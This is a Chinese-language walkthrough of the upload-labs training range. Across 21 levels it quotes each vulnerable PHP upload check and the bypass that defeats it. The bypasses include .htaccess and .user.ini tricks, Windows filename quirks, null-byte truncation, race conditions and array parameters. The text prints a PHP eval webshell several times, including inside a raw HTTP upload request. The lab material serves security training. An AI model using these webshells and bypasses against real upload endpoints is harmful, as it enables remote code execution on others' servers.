upload-labs 闯关记录

项目地址：upload-labs，github 上的的跟 docker pull 下来的不一样，docker 里面没有新的第五关，建议下载下来自己捣鼓

一句话：

<?php @eval($_REQUEST['r0oki3']);phpinfo(); ?>  //方便直接验证是否上传成功

`第1关：`

限制：前端 JS
关键代码：

function checkFile() {
    ···········
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
        alert(errMsg);
        return false;
    }
}

解决办法：
- 1.使前端 js 失效
- 2.上传图片后缀的shell，抓包后更改后缀

`第2关：`

限制：后端 mime 类型限制
关键代码：

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            }
}

解决的办法：
- 修改 Content-Type 值为 image/jpeg 、image/png、image/gif

`第3关：`

限制：文件后缀黑名单
关键代码：

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
        }

解决的办法：
- 绕过黑名单上传
  
  注意点：如果上传的是 .php5 这种类型文件的话，如果想要被当成 php 执行的话，需要有个前提条件，即 Apache 的 httpd.conf 文件中有 AddType application/x-httpd-php .php .phtml .phps .php5 .pht

`第4关：`

限制：文件后缀黑名单
关键代码：

$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

解决的办法：
- 利用 .htaccess 文件

.htaccess 文件内容为:

AddType application/x-httpd-php .jpg

先上传一个 .htaccess 文件，然后上传一个文件后缀为 .jpg 的 shell 即可

`第5关：`

限制：文件后缀黑名单
关键代码：

    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
}
// 提示：上传目录存在 php 文件

解决的办法：
- 利用 .user.ini
  .user.ini 文件内容为：

auto_prepend_file=shell.jpg

先上传一个 .user.ini 文件，然后上传一个名为 shell.jpg 的 shell 即可

`第6关：`

限制：文件后缀黑名单
关键代码：

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
}
//可以看到，相较于第4、5题，第6题对 .htaccess、.ini 文件进行了过滤，不过少了一句 $file_ext = strtolower($file_ext); //转换为小写，因此可以利用大小写绕过

解决的办法：
- 大小写绕过

`第7关：`

限制：文件后缀黑名单
关键代码：

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
}
// 相较于第6题，少了这一句： $file_ext = trim($file_ext); //首尾去空

解决的办法：
- 文件末尾加空格
  
  注：Windows特性：对于 . 或者空格结尾的文件，windows会自动去除 . 和空格

`第8关：`

限制：文件后缀黑名单
关键代码：

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
}
// 相较于第7题，少了这一句： $file_name = deldot($file_name);//删除文件名末尾的点

解决的办法：
- 利用windows特性，会自动去掉后缀名中最后的”.”，可在后缀名中加”.”绕过

`第9关：`

限制：文件后缀黑名单
关键代码：

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
}
// 相较于第8题，少了这一句： $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

解决的办法：
- 利用 Windows 特性，可在后缀名中加"::$DATA"绕过
  
  访问shell时要将 ::data 后缀去掉，如当文件存储在 upload-labs/upload/202006241411569530.php::$data 时，访问时应为 upload-labs/upload/202006241411569530.php，无 ::data 后缀
  注：Windows下，如果文件名为"shell.php::$DATA"时，::$DATA 之后的数据当成文件流处理,不会检测后缀名，而保持 ::$DATA 之前的文件名，即 shell.php

`第10关：`

限制：文件后缀黑名单
关键代码：

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点                       
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写      
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        if (!in_array($file_ext, $deny_ext)) {
         $temp_file = $_FILES['upload_file']['tmp_name'];
         $img_path = UPLOAD_PATH.'/'.$file_name;
         if (move_uploaded_file($temp_file, $img_path)) {
             $is_upload = true;
         } else {
             $msg = '上传出错！';
             }
        } else {
            $msg = '此文件类型不允许上传！';
            }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
// 这下好了，什么都加了，不过可以看到在命名文件的时候没有使用随机字符串

解决的办法：
- 构造特殊文件名 shell.php. .
  
  注：说到底还是利用了Windows特性：对于 . 或者空格结尾的文件，windows会自动去除 . 和空格

`第11关：`

限制：文件后缀黑名单
关键代码：

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);  //大小写不敏感
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;  
}

解决的办法：
- 穿插绕过

`第12关：`

限制：文件后缀白名单
关键代码：

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;  //这里文件路径采用拼接方式，其中 $_GET['save_path'] 用户可控

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    }

解决的办法：
- %00 截断，生成的 shell 名为 shell.php

注：截断条件：php 版本小于5.3.4，php 的 magic_quotes_gpc 为 OFF 状态

`第13关：`

限制：文件后缀白名单
关键代码：

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } 
}

解决的办法：
- 00 截断

注：save_path 参数通过 POST 方式传递，还是利用 00 截断，但因为 POST 不会像 GET 对 %00 进行自动解码，所以需要在二进制中进行修改

`第14关：`

限制：验证文件头
关键代码：

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);
}

解决的办法：
- 图片马绕过加文件包含漏洞 getshell
  shell.php

GIF89a? <script language="php">phpinfo();eval($_REQUEST['r0oki3']);</script>

将后缀改成 .gif 上传即可

`第15关：`

限制：getimagesize() 函数验证图片格式
关键代码：

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);

············

}

解决的办法：
- 1.同第14题
- 2.图片马绕过加文件包含漏洞 getshell
  制作图片马：copy 1.png /b + shell.php /a ishell.jpg
  上传图片马，文件包含 getshell

`第16关：`

限制：exif_imagetype() 函数验证图片格式
关键掉代码：

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);

··········
}

解决的办法：
- 同第15题的1、2解决方案都可

`第17关：`

限制：imagecreatefromjpeg() 函数二次渲染
关键代码：

if (isset($_POST['submit'])){
    // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型，合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片！";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片（使用用户上传图片生成的新图片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错！";
        }

解决的办法：
- 找到一块经过二次渲染后没有改变的数据块，替换成 php 代码
  参考文章：upload-labs之pass 16详细分析

`第18关：`

限制：文件后缀白名单
关键代码：

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){            //这里可以看到文件是先存然后再判断后缀的，而且是没有改名字就存储的，所以可以利用条件竞争，在文件被删除前访问
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件！";
            unlink($upload_file);
        }
}

解决的办法：
- 条件竞争
  首先用 burp intruder 快速发包

然后再浏览器里不断访问该 shell

* 上传图片马，再利用文件包含，同第19关

具体请看下一题

`第19关：`

限制：文件后缀白名单
关键代码：

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传，但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败，上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败，无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败，上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败，服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传，文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误！';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

解决的办法：
- 上传图片马，然后利用文件包含

返回包：

包含：

* 条件竞争

burp 不断发送图片马
由于条件竞争文件来不及重命名:

利用文件包含:

注：对文件后缀名做了白名单判断，然后会一步一步检查文件大小、文件是否存在等等，将文件上传后，对文件重新命名，同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包，由于条件竞争，程序会出现来不及rename的问题，从而上传成功

`第20关：`

限制：文件后缀白名单
关键代码：

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];            //这个参数用户可控，自定义文件名
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }

解决的办法：
- /. 绕过或者 . 绕过
  原理：move_uploaded_file() 函数会忽略掉文件末尾的 /.
  
  访问：
- 00 截断

修改hex：

访问：

`第21关：`

限制：文件后缀白名单
关键代码：

if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}

解决的办法：
- 数组绕过
  参考：

文件命名规则：$file_name = reset($file) . '.' . $file[count($file) - 1];
reset():将内部指针指向数组中的第一个元素，并输出。
end():将内部指针指向数组中的最后一个元素，并输出。
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];如果save_name不为空则file为save_name,否则file为filename
if (!is_array($file))判断如果file不是数组则以'.'分组
文件名命名规则$file_name = reset($file) . '.' . $file[count($file) - 1];
我们POST传入一个save_name列表：['info20.php', '', 'jpg'],此时empty($_POST['save_name']) 为假则file为save_name，所以由$ext = end($file);为jpg可以通过后缀名判断（判断结束后最后一个元素jpg弹出），并且最终文件名组装为upload20.php.

第一步：

POST /upload-labs/Pass-21/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------95598183919059804224251915399
Content-Length: 639
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload-labs/Pass-21/index.php
Upgrade-Insecure-Requests: 1

-----------------------------95598183919059804224251915399
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/jpeg

<?php @eval($_REQUEST['r0oki3']);phpinfo(); ?>
-----------------------------95598183919059804224251915399
Content-Disposition: form-data; name="save_name[0]"

upload-20.php
-----------------------------95598183919059804224251915399
Content-Disposition: form-data; name="save_name[2]"

jpg
-----------------------------95598183919059804224251915399
Content-Disposition: form-data; name="submit"

ä¸ä¼ 
-----------------------------95598183919059804224251915399--

第二步：

* 图片马，然后文件包含

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原文地址：https://www.cnblogs.com/wjrblogs/p/13181839.html